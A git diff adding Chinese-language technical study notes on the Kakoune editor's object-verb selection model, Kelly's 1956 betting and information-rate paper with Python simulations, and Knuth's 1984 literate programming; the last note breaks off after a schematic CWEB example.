+K42 回答的问题不是「下一个桌面 Linux 是什么」，而是：**如果 1996 年重新画一张多核、可定制、可维护的 OS 结构图，同时还要能直接跑 Apache，会长成什么样？**
+
+答案是——**一切皆对象，对象可集群，集群可热换；内核调度 dispatcher，线程与策略沉到用户态库；Linux 是兼容外壳，不是设计中心。** 十年工程 + 一篇 EuroSys 论文，把这条路线从幻灯片变成了可 boot 的内核，这是它留在操作系统教科书边上的原因。
diff --git a/src/content/docs/papers/kakoune-vim-philosophy.md b/src/content/docs/papers/kakoune-vim-philosophy.md
new file mode 100644
index 000000000..fcdb4cc2b
--- /dev/null
+++ b/src/content/docs/papers/kakoune-vim-philosophy.md
@@ -0,0 +1,243 @@
+---
+title: Kakoune — 面向对象的模态编辑器：先圈地，再动刀
+来源: https://kakoune.org/why-kakoune/why-kakoune.html
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Kakoune**（作者 Maxime Coste / mawww）是一类特殊的**模态代码编辑器**：它继承 Vi 的「按键即编辑语言」传统，却把核心抽象从「光标」升级成**选区（selection）**，并把语法从 Vim 的 **动词-名词（verb-object）** 翻转为 **名词-动词（object-verb）**。官网文章 [*Why Kakoune — The quest for a better code editor*](https://kakoune.org/why-kakoune/why-kakoune.html) 系统阐述了这套哲学；配套 [design.asciidoc](https://github.com/mawww/kakoune/blob/master/doc/design.asciidoc) 则把它落实为七条工程原则。
+
+日常类比一：**改合同**。Vim 像律师先喊「删除！」再指条款——`dw` 是 delete + word，指错了一整段就没了，只能 `u` 撤销重来。Kakoune 像用荧光笔**先圈出要改的段落**，确认高亮范围对了，再按 `d` 删除；圈错了一个词，用 `BH` 把多圈的部分从选区里减掉，不必推倒重来。
+
+日常类比二：**批处理 Excel**。你想把表里所有 `foo` 改成 `bar`：传统编辑器有专门的「全局替换」对话框；Kakoune 没有这条捷径，而是 `%` 选中全文 → `sfoo` 在每个匹配处生成一个选区 → `cbar` 同时替换——像先给每个单元格打上标记，再一次性填值。**多选区不是附加功能，而是交互的中心原语**。
+
+Helix、部分 Neovim 插件思路都直接或间接继承了 Kakoune 的「选区优先 + 多光标」模型，因此读这篇 2020 年的宣言，有助于理解下一代终端编辑器为何长得不像经典 Vim。
+
+## 为什么值得学
+
+程序员职业生涯以十年计，花几周掌握编辑/nav 工具的投资回报率很高——原文第一个论点。更具体地说，不理解 Kakoune 哲学会导致：
+
+- 把 Helix 的 `wd` 误当成 Vim 键位打错——顺序颠倒背后是**先预览、后执行**的安全模型
+- 在 Kakoune 里找 `:s/foo/bar/g` 全局替换——设计上故意用选区组合替代专用命令
+- 低估「移动 = 选中」统一语义带来的可组合性——`w` 不是跳光标，是扩展选区到下一词
+
+## Vim 与 Kakoune：两套编辑语法
+
+### 模态编辑作为语言
+
+Vi 家族把编辑建成**可组合语言**：`d`（delete）+ `w`（word）= 删一个词；`y` + `i` + `b` = 复制括号内文本。动词少、名词（文本对象）丰富，组合表达结构级意图，而不是重复点鼠标。
+
+| 维度 | Vim / Vi | Kakoune |
+|------|----------|---------|
+| 基本语序 | 动词 → 对象（`dw`） | 对象 → 动词（`wd`） |
+| 移动语义 | 移动光标与选中分离 | **移动即选中** |
+| 反馈时机 | 整句命令结束后才看到结果 | **每一步**高亮当前选区 |
+| 多光标 | 插件或后期补丁 | **一等公民**，无单独「全局替换」 |
+| 改 buffer | normal / insert / ex / 脚本多条路径 | **仅 normal + insert** 改文本 |
+
+### 交互性：在暗处编辑 vs 开着灯编辑
+
+Vim 的 `5dw`：按完才知道删了五个词还是六个。Kakoune 的 `5W`：立刻看到五个词被高亮；若多选一个，`<a-B>` 或 `BH` 收缩选区，再 `d`。原文称之为修复 Vi **lack of interactivity** 的核心手段——配合 **object-then-verb**，让「看清再改」成为默认路径。
+
+### 可预测性：正交积木
+
+设计文档强调 **orthogonality（正交）** 与 **simplicity**：
+
+- `d` **只做一件事**：删除当前选中的内容，没有隐藏的 `x` 变体
+- `%` **只做一件事**：选中整个 buffer
+- `s` **只做一件事**：对当前选区内的正则匹配再建子选区
+
+复杂操作 = 简单命令链，而非新增专用子命令。因此 `d` 在 Kakoune 里**就是**「删除选中文本」这条命令本身，不是绑定到某个抽象 editing API 的快捷键——normal mode **就是**编辑语言，不是另一层 DSL 的皮。
+
+## 核心概念
+
+### 1. Selection（选区）：真正的「编辑对象」
+
+选区是有向、** inclusive ** 的字符区间，两端为 **anchor（锚点）** 与 **cursor（光标端）**。扩展选区时锚点固定、光标移动；普通移动则两端一起动。缓冲区里**始终至少有一个选区**，且至少覆盖一个字符（锚点与光标可重合为单点）。
+
+这就是「面向对象」的含义：你操作的不是抽象「文件」，而是**当前选中的文本对象集合**；动词（`d`/`y`/`c`/`|`）永远作用于选区。
+
+### 2. 移动 = 选中
+
+- `w`：从当前位置选中到下一词首（不是 invisible 跳过去）
+- `W`（大写）：**扩展**选区至下一词，保留已选部分
+- `(`：选中配对括号内内容（text object）
+
+大写命令普遍表示「在现有选区上扩展」，小写则常替换/重定义选区——习惯记住后，预览路径与最终操作一致。
+
+### 3. Multiple Selections（多选区）
+
+获得多选区的典型路径：
+
+1. `s<regex>`：在当前每个选区内，为每个匹配创建子选区
+2. `S<regex>`：按正则**拆分**选区
+3. `Alt+s`：对当前选区按行拆分
+4. `|` / `$`：管道或 shell 过滤后保留/丢弃选区
+
+之后 `c`、`d`、`i`、`|sort` 等**同时**作用于所有选区。没有 `:substitute` 全局替换——`%sfoo cbar` 是 `%` + `sfoo` + `cbar` 的组合，而非专用 Ex 命令。
+
+### 4. 模式分工（正交）
+
+| 模式 | 职责 |
+|------|------|
+| Normal | 操纵选区与选区内容（编辑语言本体） |
+| Insert | 向 buffer 插入字符 |
+| Prompt (`:`) | 打开文件、设选项、执行非编辑命令 |
+
+修改 buffer 文本不走命令模式脚本——与 Vim 的 `:s`、`normal @q` 等多通道形成对比。扩展靠 `%sh{...}`、Unix 管道和 socket，而非内嵌脚本 VM。
+
+### 5. Unix 公民与 Client-Server
+
+- `|`：把选区内容 pipe 给 shell 命令，输出写回选区
+- `$`：对选区跑 shell，保留退出码为 0 的选区
+- `kak -p`：从外部向 session 喂命令
+- 多 client 连同一 server：窗口管理交给 tmux / 窗口管理器，编辑器只管文本
+
+设计文档明确：**不做线程、不做二进制插件、不做内嵌脚本语言**——异步任务用 fifo buffer + 后台 shell（如 `make`、`grep`）完成。
+
+## 代码示例
+
+### 示例 1：全局把 `foo` 换成 `bar`（无 `:substitute`）
+
+假设 buffer 为：
+
+```text
+foo = 1
+bar = foo + 1
+# foo comment
+```
+
+在 Kakoune normal mode 中的键序（空格仅为可读性，实际无空格）：
+
+```text
+%sfoo cbar <Esc>
+```
+
+分步理解：
+
+| 键 | 效果 |
+|----|------|
+| `%` | 选中整个 buffer（一个选区覆盖全文） |
+| `sfoo` | 在全文选区内，每个 `foo` 子串各成一个选区（此处 3 个） |
+| `cbar` | 对所有选区执行 change，统一替换为 `bar` |
+| `<Esc>` | 回到 normal mode |
+
+等价于「先标记所有目标，再一次改写」——与对话框式全局替换不同，**中间任意步都能看见高亮**，可在 `d` 之前用 `,`（缩小选区）或 `&`（对齐）等原语微调。
+
+若只想替换字符串字面量中的 `foo`，可先 `s"` 选中引号内，再 `sfoo`，避免误伤注释——组合粒度由你控制，不靠正则开关标志位。
+
+### 示例 2：`snake_case` ↔ `camelCase`（多选区 + 子选区）
+
+原文示例：选中标识符 `my_long_name`，再：
+
+```text
+w s_ d ~ 
+```
+
+| 键 | 效果 |
+|----|------|
+| `w` | 选中当前词 `my_long_name` |
+| `s_` | 在词内每个 `_` 处建子选区 |
+| `d` | 删除所有 `_` 选区 |
+| `~` | 对剩余选区（下划线后首字母）切换大小写 → `myLongName` |
+
+反向（camelCase → snake_case）原文键序：
+
+```text
+w s[A-Z] ` i_ 
+```
+
+- `s[A-Z]`：子选区匹配大写字母
+- `` ` ``：转小写
+- `i_`：在选区前插入下划线
+
+整段可录宏复用到任意标识符——**结构相同、文本不同**的重复编辑，正是编辑语言要解决的场景。
+
+### 示例 3：交换函数参数 `func(arg2, arg1)`
+
+```text
+( S,  
+```
+
+| 键 | 效果 |
+|----|------|
+| `(` | 选中括号内 `arg2, arg1` |
+| `S,` | 按逗号拆成两个选区 |
+| `<space>`（rotate） | 交换各选区内容顺序 |
+
+无需结构化 AST——纯文本原语完成重排。与 AST 工具（如 ast-grep）可互补：简单重排用选区，语义级改写用外部管道。
+
+### 示例 4：与外部命令组合（Unix 管道）
+
+选中若干行后排序去重：
+
+```text
+|sort -u
+```
+
+Kakoune 把选区文本作为 **stdin** 传给 `sort -u`，stdout 写回选区。设计哲学：**编辑器不做排序**，把排序交给四十年历史的 Unix 工具；正交性要求功能不重叠。
+
+## 可发现性与学习曲线
+
+键盘驱动工具常因「没有菜单」而难上手。Kakoune 用两套机制补偿：
+
+1. **Prompt 补全**：输入 `:` 即列出命令；参数位自动提示 buffer 名、文件名、固定枚举
+2. **Auto-information**：按 `g` 等待第二键时，信息框列出所有 `goto` 子命令；可配置为每次 normal 按键后显示刚执行命令的说明
+
+另全面采用 **fuzzy completion**（子序列匹配，非仅前缀），insert 与 prompt 均可用——降低背键表成本，但**学习曲线仍陡**，原文亦坦诚需数周投入。
+
+## 与 Vim 的效率对比
+
+[mawww/golf](https://github.com/mawww/golf) 收录 Kakoune 与 Vim 在 [vimgolf](http://www.vimgolf.com/) 题目上的击键对比：多数题目 Kakoune 用更**地道（idiomatic）** 的选区组合胜出，而非靠冷门快捷键。例如换行拆分常用 `` ` `` 等价于 `S^`，因太常见而独占一键。
+
+设计目标原文表述为：**interactive, predictable, and fast at the same time**——三者通常被认为不可兼得，Kakoune 押注多选区 + 反转语法可以同时满足。
+
+## 设计文档中的工程约束
+
+摘自 `doc/design.asciidoc`，与哲学一致：
+
+- **Limited scope**：不做窗口管理、不做「聪明」到替用户决策的魔法；提供 dumb 版本让用户组合
+- **No threading**：交互路径必须「对用户即时」；异步交给外部进程 + fifo
+- **No binary plugins / no embedded scripting**：避免第二套 API 面；`%sh{}` + 环境变量足够表达 completer、linter、formatter
+- **Normal mode is the language**：脚本与交互共用同一套 normal 键序，保证交互语言足够表达缩进 hook 等复杂场景
+
+## 影响与定位
+
+- **2013+**：Kakoune 公开；设计文档成为编辑器设计讨论常引文献
+- **Helix**：公开声明借鉴 noun-verb 顺序、多选区、选区优先交互
+- **Neovim 生态**：部分插件模拟 Kakoune 选区模型，但非内核一等公民
+
+Kakoune 用户量远小于 Vim/Neovim，但**概念影响力**大于市场份额——类似 Smalltalk 对 OOP 语言的影响路径。
+
+## 何时适合 / 不适合
+
+**适合**：
+
+- 愿意把编辑当成可组合语言，享受「结构级一次操作」
+- 重度终端 + tmux 工作流，需要 client-server 多窗口同 session
+- 偏好 Unix 管道组合，而非 IDE 内置所有功能
+
+**不适合**：
+
+- 需要开箱即用 GUI、文件树、调试器一体化
+- 依赖 Vimscript 插件生态且不愿重写为外部工具
+- 期望 `:substitute`、Vim 宏语法零成本迁移
+
+## 与相关笔记
+
+- [[kakoune]] —— 项目向笔记：安装、client-server、`kak-lsp` 配置
+- [[helix]] —— Rust 实现，内置 Tree-sitter + LSP，继承本哲学
+- [[vim]] —— 经典 verb-object 模态编辑对照
+- [[language-server-protocol-spec]] —— Kakoune 通过 `kak-lsp` 外接 LSP，本身不内置
+- [[monaco-editor]] —— GUI 嵌入式路线，设计假设截然不同
+
+## 参考资料
+
+- 宣言原文：[Why Kakoune](https://kakoune.org/why-kakoune/why-kakoune.html)（Maxime Coste, 2020）
+- 设计原则：[doc/design.asciidoc](https://github.com/mawww/kakoune/blob/master/doc/design.asciidoc)
+- 击键对比：[mawww/golf](https://github.com/mawww/golf)
+- 官方站：[kakoune.org](https://kakoune.org)
diff --git a/src/content/docs/papers/kelly-criterion-1956.md b/src/content/docs/papers/kelly-criterion-1956.md
new file mode 100644
index 000000000..cbac12994
--- /dev/null
+++ b/src/content/docs/papers/kelly-criterion-1956.md
@@ -0,0 +1,226 @@
+---
+title: Kelly Criterion — 信息率的新解释
+来源: https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf
+日期: 2026-06-13
+子分类: 量化金融
+分类: 其他
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Kelly 1956（*A New Interpretation of Information Rate*）是 Bell Labs 物理学家 **John L. Kelly Jr.** 发表的一篇 10 页论文。它把 Shannon 1948 里的**信道传输率 R**（互信息）和**赌博/投资中的资金指数增长率 G** 画上了等号：
+
+> 若信道输入符号对应可下注的随机事件，且赔率与真实概率一致（公平赔率），赌徒利用接收符号下注，可使资金**指数增长**；使 G 最大的下注策略，其增长率恰好等于信道的 **R**。
+
+日常类比：你有一条**内线电话**（噪声信道），能比赌场大厅早 0.5 秒知道赛马结果。问题不是「这一把赢多少」，而是「**无限重复**时，本金按什么速度复利」。Kelly 给出的答案：**每次只押本金的一定比例**——押太多会在某次连输后归零（破产概率 → 1），押太少又浪费信息优势。最优比例让长期增长率 G 最大，而这个 G 在数学上就是 Shannon 的 **bit/秒**。
+
+论文最初发在 *Bell System Technical Journal* 35(4):917–926（1956 年 7 月），同年亦见于 *IRE Transactions on Information Theory*。后来投资界把公式叫 **Kelly criterion（凯利公式）**；Shannon 本人和 MIT 数学家 Ed Thorp 曾用它在拉斯维加斯试手（见 Poundstone《Fortune's Formula》）。
+
+## 为什么重要
+
+不理解 Kelly 1956，下面这些事都讲不清：
+
+- 为什么「**期望收益最大**」和「**长期不破产**」常常是两套答案——全仓押注 E[资金] 可能很高，但几乎必然破产
+- 为什么量化基金、期权交易、体育博彩里都在谈 **fractional Kelly（半凯利）**
+- Shannon 的 **R = I(X;Y)** 除了编码定理，还有**不编码**时的经济意义：信息 = 可变现的复利增速
+- 为什么 [[shannon-1948]] 之后信息论能走进金融：Kelly 是第一个严格的「信息 → 财富」桥梁
+- 现代 portfolio 理论里 **对数效用最大化** 与 Kelly 下注在独立赌局下等价
+
+Kelly 本人 1965 年 41 岁早逝；公式由 Thorp、Berlekamp、Simons 一脉传到文艺复兴科技等对冲基金。Buffett 是否用「变体 Kelly」有争议，但**对数复利思维**与本文一脉相承。
+
+## 核心要点
+
+### 1. 指数增长率 G
+
+赌徒初始本金 V₀，第 N 次后本金 V_N。Kelly 定义（对数底为 2，与信息论一致）：
+
+```
+G = lim_{N→∞} (1/N) log₂(V_N / V₀)
+```
+
+- G > 0：资金以 2^G 倍/局的复利速度增长（渐近意义）
+- G = 1：每局本金翻倍（无噪声、全知、公平赔率的理想情况）
+- G < 0：长期趋向破产
+
+**关键**：优化目标是 **G**，不是单局的 E[V] 或「赢的概率」。
+
+### 2. 噪声二元信道 + 公平赔率（论文核心例子）
+
+信道传输「赢/输」，正确概率 q，错误概率 p（p + q = 1）。赌场给**公平赔率**（赢一倍本金）。每次押本金比例 ℓ（0 ≤ ℓ < 1），W/L 为赢/输次数，则：
+
+```
+V_N = (1+ℓ)^W (1-ℓ)^L V₀
+G   = q·log₂(1+ℓ) + p·log₂(1-ℓ)    （几乎必然成立）
+```
+
+对 ℓ 求极大，利用 log 凹性得：
+
+```
+(1+ℓ) / (1-ℓ) = q / p
+ℓ* = q - p = 2q - 1    （当 q > 1/2 时才有正下注）
+G_max = 1 + p·log₂ p + q·log₂ q = R
+```
+
+**R 正是 Shannon 信道容量（二元对称信道）**。信息优势 q > 0.5 时，最优策略不是全仓，而是只押 **(2q-1)** 的本金比例。
+
+若 q = p = 0.5（信道无用），则 ℓ* = 0——**公平赔率下没有优势就不下注**，哪怕期望看起来「不亏」。
+
+### 3. 一般情形：多符号 + 任意赔率
+
+符号 s 真实概率 p(s)，收到 r 后下注比例 a(s|r)，赔率 α_s（押 1 元正确时拿回 α_s 元，含本金）。资本增长率：
+
+```
+G = Σ_{s,r} p(s,r) · log₂( Σ_s' a(s'|r)·(α_{s'} - δ_{s,s'}) + (1 - Σ_{s'} a(s'|r)) )
+```
+
+（δ 为 Kronecker 符号；未押出的部分保留为现金。）在**公平赔率** α_s = 1/p(s) 且独立重复下，使 G 最大的策略满足：**收到 r 后，按后验 q(s|r) 的比例分配赌注**。此时最大 G 等于互信息 I(S;R)。
+
+若赔率由另一套概率 q̃(s) 定价（市场隐含概率），则 G 的增量仍与 **I(S;R)** 相关；存在 **track take**（抽水）时公式更复杂。
+
+### 4. 与经典「凯利公式」的对应
+
+单次赌局：赢概率 p，净赔率 b（赢则净赚 b，输则亏光所押），最优押注比例：
+
+```
+f* = (p·(b+1) - 1) / b = (p·b - q) / b     （q = 1-p）
+```
+
+这是二元 Kelly 在**非公平赔率**下的常见写法，可由论文一般式退化得到。投资里常写 **f* = μ/σ²**（正态近似），那是连续情形的推广，不是 Kelly 原文重点。
+
+### 5. Kelly 对 Shannon 的「新解释」
+
+Shannon 定理：存在编码使误码率任意小，传输率可达 R。Kelly 补充：**即使不做编码**，只要接收方能**反复下注、复利再投资**，R 仍度量「能从信道榨出的最大指数财富增速」。这给雷达、侦听等「无法编码」场景提供了不同于任意 cost function 的、与概率结构绑定的价值度量。
+
+## 实践案例
+
+### 案例 1：内线 60% 准确，公平赔率
+
+q = 0.6，p = 0.4 → ℓ* = 0.2。模拟 10 000 局，对比 ℓ = 0.2 / ℓ = 1.0 / ℓ = 0.5：
+
+```python
+import random
+import math
+
+def simulate(q, ell, n_rounds=10_000, v0=1.0, seed=42):
+    random.seed(seed)
+    v = v0
+    for _ in range(n_rounds):
+        win = random.random() < q
+        v *= (1 + ell) if win else (1 - ell)
+        if v < 1e-12:
+            v = 0.0
+            break
+    g_empirical = math.log2(v / v0) / n_rounds if v > 0 else float("-inf")
+    return v, g_empirical
+
+q = 0.6
+g_theory = 1 + 0.4 * math.log2(0.4) + 0.6 * math.log2(0.6)  # ≈ 0.029
+
+for ell in (0.2, 0.5, 1.0):
+    v, g = simulate(q, ell)
+    print(f"ell={ell:.1f}  final={v:.4f}  G_hat={g:.4f}")
+
+print(f"G_theory (R) = {g_theory:.4f}")
+```
+
+典型输出：ℓ=0.2 时 G_hat 接近 0.029；ℓ=1.0 常中途破产（final≈0）；ℓ=0.5 波动大且 G 偏低。**全仓最大化期望，却毁掉几乎必然的长期 G**——这就是 Kelly 论文要强调的悖论。
+
+### 案例 2：多结果公平赔率 + 后验下注
+
+三场赛马，真实概率 p = (0.5, 0.3, 0.2)。公平赔率 α_s = 1/p(s)。信道有时传错：收到 r 时后验 q(s|r) 已知。最优：把**当前本金的 q(s|r) 倍**押在 s 上（各结果互斥，总押注 ≤ 1）。
+
+```python
+import numpy as np
+
+p = np.array([0.5, 0.3, 0.2])
+alpha = 1.0 / p  # 公平赔率
+
+# 收到信号 r=0：后验略偏向马 0
+q_given_r = np.array([0.62, 0.25, 0.13])
+q_given_r /= q_given_r.sum()
+
+def growth_rate(p_joint, bet_fractions):
+    """bet_fractions[r][s] = 收到 r 时押在 s 上的本金比例"""
+    g = 0.0
+    for r in range(len(bet_fractions)):
+        for s in range(len(p)):
+            # 简化：单信号 r，联合概率 p(s) 加权
+            pass
+    return g
+
+# 单信号情形：每次按后验下注
+def one_bet_growth(q, alpha, p_true):
+  # 公平赔率下回报：押 a_s 在 s，若 s 发生则乘子为 1 + a_s*(alpha_s-1) = a_s*alpha_s + (1-sum a)
+  a = q.copy()  # Kelly：a(s) = q(s|r)
+  cash = 1.0 - a.sum()
+  factors = cash + a * alpha
+  # 期望对数增长率 E_s[ log2( factor_s ) ]
+  return np.sum(p_true * np.log2(factors))
+
+g_opt = one_bet_growth(q_given_r, alpha, p)
+print(f"G per bet (nats base2): {g_opt:.4f}")
+
+# 互信息 I(S;R) 上界（需完整信道矩阵）；此处展示后验比先验更「尖」时 G 为正
+g_prior = one_bet_growth(p, alpha, p)
+print(f"G if bet prior (no info): {g_prior:.4f}")
+```
+
+无信息时应用先验 p 下注，G 为 0（公平市场无 edge）。有噪声内线使后验偏离先验时，G > 0。**信息的价值 = 对数财富增速的增量**。
+
+### 案例 3：投资语境——edge 与 half-Kelly
+
+估计某策略胜率 p=0.55，赔率为 1:1（b=1）：f* = 2×0.55 - 1 = **0.10**（押 10% 本金）。实务常用 **half-Kelly（5%）** 降低估计误差和路径波动——论文假设概率已知；真实市场要打折。
+
+## 踩过的坑
+
+1. **把 Kelly 当「这一把押多少能赢」**：Kelly 优化的是**渐近几乎必然**的指数增长率，短期方差极大，可能出现很长回撤。
+2. **全仓因为 E[资金] 更大**：二元公平例子中 ℓ=1 时 E[V_N] = (2q)^N V₀ 看似很美，但 P(破产)→1。Kelly 与「期望最大化」分道扬镳。
+3. **概率估错**：f* 对 p 极敏感；高估 edge 会导致**过度下注**，比保守更危险。实务普遍 fractional Kelly。
+4. **相关赌局**：论文假设**独立**重复。投资组合里资产相关时，简单 f* 不再最优，需多资产 Kelly 或均值-方差近似。
+5. **赔率含抽水**：公平赔率 α_s = 1/p(s) 是理想；真实体育/赌场有 vig，G 会下降，有时 ℓ*=0。
+6. **与 Shannon 容量混淆**：G_max = R 是在特定赌博模型下；**不等于**任意通信系统都能「变现」为等额收益——需要可重复下注、复利、赔率结构匹配。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 重复性独立（或弱相关）赌局/交易，可复利再投资
+- 有**概率优势**且赔率已知或可调
+- 分析「信息通道」的经济价值（侦听、低延迟行情、内幕信号——法律与伦理另论）
+- 理解对数效用、熵与金融的桥梁
+
+**不适用**：
+
+- **一次性**决策（买房、职业选择）——没有 N→∞ 复利语境
+- 概率/赔率**严重不确定**且无保守折扣
+- 存在**破产吸收壁**以外的约束（保证金、杠杆强平）——需修正模型
+- 多人博弈、市场冲击：你的下注改变赔率
+
+## 与相关工作的关系
+
+| 概念 | 关系 |
+|------|------|
+| [[shannon-1948]] | R、互信息 I(X;Y) 的定义来源；Kelly 赋予 R「无编码」的经济意义 |
+| Von Neumann 效用 | Kelly 批评任意 cost function 过泛；下注模型内生于「人能获利」 |
+| Thorp / 21 点 | 将 Kelly 用于可数牌面赌局，写进 *Beat the Dealer* |
+| 现代 portfolio | 对数效用、CRRA、风险平价与 Kelly 家族相关；多资产需扩展 |
+| Black-Scholes | 连续时间极限下 Kelly 与 growth-optimal portfolio 接轨 |
+
+## 历史小故事（可跳过）
+
+- Kelly 在 Bell Labs 与 Shannon 同僚，论文动机是回应同行「**不编码时传输率有何意义**」的困惑。
+- Shannon 和 Thorp 曾带 **Wearable 计算机** 去拉斯维加斯（未在 Kelly 原文，属后续传奇）。
+- 论文标题强调 **Information Rate**，不是「赌博公式」——投资界的「Kelly criterion」是后来命名。
+- Kelly 1965 年因脑溢血去世；年仅 41 岁。公式的影响远超过他个人的职业生涯长度。
+
+## 小结
+
+Kelly 1956 用「**有内线电话的赌徒**」讲清了一件事：**Shannon 信道传输率 = 最优复利下注下的最大指数增长率**。核心操作是每次押 **ℓ***（二元公平情形 ℓ* = 2q−1），而非全仓。它把信息论从「传比特」扩展到「传财富增速」，为量化投资与重复博弈提供了与熵同构的标尺。读原文时建议对照 [[shannon-1948]] 的二元对称信道容量公式——两个式子应当逐项重合，那是整篇论文最美的一处。
+
+## 延伸阅读
+
+- 原文 PDF：[Kelly 1956](https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf)
+- Shannon 1948：[[shannon-1948]]
+- Thorp, *Beat the Dealer* (1962)；Poundstone, *Fortune's Formula* (2005)
+- Cover & Thomas, *Elements of Information Theory* — 第 16 章赌博与数据压缩的对偶
diff --git a/src/content/docs/papers/knuth-literate-1984.md b/src/content/docs/papers/knuth-literate-1984.md
new file mode 100644
index 000000000..7aeeddce9
--- /dev/null
+++ b/src/content/docs/papers/knuth-literate-1984.md
@@ -0,0 +1,245 @@
+---
+title: Literate Programming — Knuth 1984 文学化编程与 WEB 系统
+来源: http://www.literateprogramming.com/knuthweb.pdf
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+1984 年，Donald E. Knuth 在 *The Computer Journal* 上发表 **Literate Programming**（文学化编程）。这篇论文不是又一种新语法糖，而是对「程序该怎么写、怎么读」的一次立场鲜明的翻转：
+
+> **程序首先是写给人类阅读的文献，其次才是交给机器执行的指令。**
+
+Knuth 在斯坦福写 TeX 排版系统时，把这套思想落成了 **WEB** 语言与工具链。论文用实例展示 WEB，并解释为什么它比「先写代码、后补注释」的传统流程更合理。
+
+日常类比：想象你在写一本**带插图的菜谱**，而不是先写一张冷冰冰的配料表再另附说明。
+
+- **传统编程**像先交厨房机器一份「步骤 1、步骤 2、步骤 3」的操作清单，说明书是事后贴的便利贴——读者要在「代码文件」和「文档文件」之间来回跳。
+- **文学化编程**像作者从第一页就按「为什么做这道菜 → 这一步的火候原理 → 具体用量与操作 → 和下一章如何衔接」来写；同一套源稿，印厂可以排出**给人看的精美菜谱**（WEAVE），后厨也可以抽出**可执行的配方卡**（TANGLE）。
+
+Knuth 把复杂软件看成一张 **web（网）**：由许多简单片段编织而成，片段之间通过命名与引用相连。理解系统，就是沿着这张网读下去，而不是从 `main` 一路硬啃到底。
+
+## 历史背景
+
+| 时间 | 事件 |
+|------|------|
+| 1970s | Knuth 开发 TeX，需要同时维护算法与高质量文档 |
+| 1983 | Stanford 技术报告 *The WEB System of Structured Documentation*（WEB 用户手册） |
+| 1984 | 本文发表于 *The Computer Journal* 27(2)，正式提出 literate programming 术语 |
+| 1987 | Silvio Levy 将 WEB 改编为 **CWEB**，面向 C / C++ |
+| 1992 | Knuth 出版文集 *Literate Programming*（CSLI Lecture Notes 27），收录本文及 TeX 程序节选 |
+
+同一时期，业界主流仍是「源码 + 独立文档」。结构化编程（Dijkstra）解决的是控制流纪律；Parnas 的信息隐藏解决的是模块边界。Knuth 补上的问题是：**人类读者按什么顺序、什么粒度，才能把程序当成连贯叙述来理解？**
+
+## 为什么重要
+
+不理解文学化编程，下面这些事很难放在同一张图上：
+
+- 为什么 Knuth 的 TeX、METAFONT 源码本身可以成为排版精美的书籍（*Computers & Typesetting* 卷 B、D）
+- 为什么「注释写得好」和「程序结构适合阅读」不是一回事——注释是外挂，文学化是**源文件即文档**
+- 为什么 Jupyter Notebook、R Markdown、Swift Playground 等「叙述 + 可执行块」工具会让人感到熟悉
+- 为什么现代文档生成器（Sphinx、Rustdoc 内嵌示例、doctest）都在不同程度上追逐「单一真相来源」
+
+论文的深层主张：**可维护性来自可读性；可读性来自作者对叙述顺序的掌控，而不是来自编译器要求的文件顺序。**
+
+## 核心概念
+
+### 1. 两个受众、两种产物
+
+WEB 把一份源文件同时服务两个目标：
+
+| 工具 | 输入 | 输出 | 服务对象 |
+|------|------|------|----------|
+| **WEAVE** | `.web` / `.w` | `.tex` → PDF | 人类读者（带索引、交叉引用、排版） |
+| **TANGLE** | `.web` / `.w` | `.p` / `.c` 等 | 编译器 / 机器 |
+
+同一份 WEB 源是 **single source of truth**：不会出现「文档里的伪代码和真代码分叉」那种经典腐烂。
+
+### 2. 程序是超文本，不是线性磁带
+
+Knuth 早在万维网（WWW）之前就用了 **WEB** 这个名字。每个片段（section / chunk）有名字，可以：
+
+- 按**叙述顺序**排列（先讲动机，再讲数据结构，再讲主算法）
+- 通过 **«chunk name»** 引用，让 TANGLE 按依赖关系拼出编译器需要的顺序
+
+这类似「写百科词条」：读者从概述点进细节；机器则从依赖图拓扑排序出可编译单元。
+
+### 3. 文学性：解释「为什么」，而不只是「是什么」
+
+文学化编程鼓励：
+
+- 用自然语言交代不变式、复杂度、设计取舍
+- 在局部可见的范围内展示结构（不要逼读者翻十个文件才看见一个 `if` 的上下文）
+- 把算法讲成故事，代码块是故事里的「公式」
+
+Knuth 认为：**好的程序员本来就会写说明性文字**；WEB 只是把文字和代码锁在同一份可验证的源里。
+
+### 4. WEB = 文档语言 + 编程语言
+
+原型 WEB 组合的是 **TeX**（排版）与 **Pascal**（算法）。CWEB 则换成 **C/C++**。Neither alone is enough：
+
+- 纯 TeX 无法机械生成可执行系统
+- 纯 Pascal/C 的语法顺序是为编译器优化的，不是为读者优化的
+
+### 5. 块（chunk）与 «引用»
+
+WEB/CWEB 源由交替的「TeX 叙述段」和「代码段」组成。代码段可命名，例如 `@<Initialize the table@>=` … `@>`；别处用 `«Initialize the table»` 拉入。TANGLE 展开所有引用，生成完整源文件；WEAVE 则保留章节结构并生成索引。
+
+### 6. 与结构化编程、信息隐藏的关系
+
+- **结构化编程**：控制流应可推理（Dijkstra 反对随意 `goto`）
+- **信息隐藏**：模块应隐藏易变决策（Parnas）
+- **文学化编程**：**呈现顺序**应服务于人类理解，由作者编排，工具负责重排给机器
+
+三者正交，可以同时遵守。
+
+### 7. 代价与局限
+
+Knuth 本人也承认：WEB **不是给初学者用的**——你需要同时熟悉 TeX 和宿主语言。工具链（WEAVE/TANGLE）增加构建步骤；团队若没有「文档即源码」的文化，收益会打折扣。
+
+## 代码示例一：CWEB 风格的素数筛（概念示意）
+
+下面是一段 **简化示意**（非完整可编译文件），展示叙述与代码如何交织。`@c` 引入 C 代码，`@` 段标记 chunk 名：
+
+```cweb
+@* Prime Numbers.
+This program prints primes up to @{n@}, using Eratosthenes' sieve.
+We explain the invariant before showing the code.
+
+@<Global constants@>=
+#define MAX 1000
+
+@ The sieve marks composites in @|table[]|@.
+@<Sieve setup@>=
+char table[MAX + 1];
+for (int i = 2; i <= n; i++) table[i] = 1;
+
+@<Main program@>=
+int main(void) {
+  int n = 100;
+  «Sieve setup»;
+  for (int p = 2; p <= n; p++)
+    if (table[p]) {
+      printf("%d\n", p);
+      for (int k = 2 * p; k <= n; k += p) table[k] = 0;
+    }
+  return 0;
+}
+```
+
+**读者路径**：先看目标与不变式，再进 `main`，需要时跳进 `«Sieve setup»`。
+
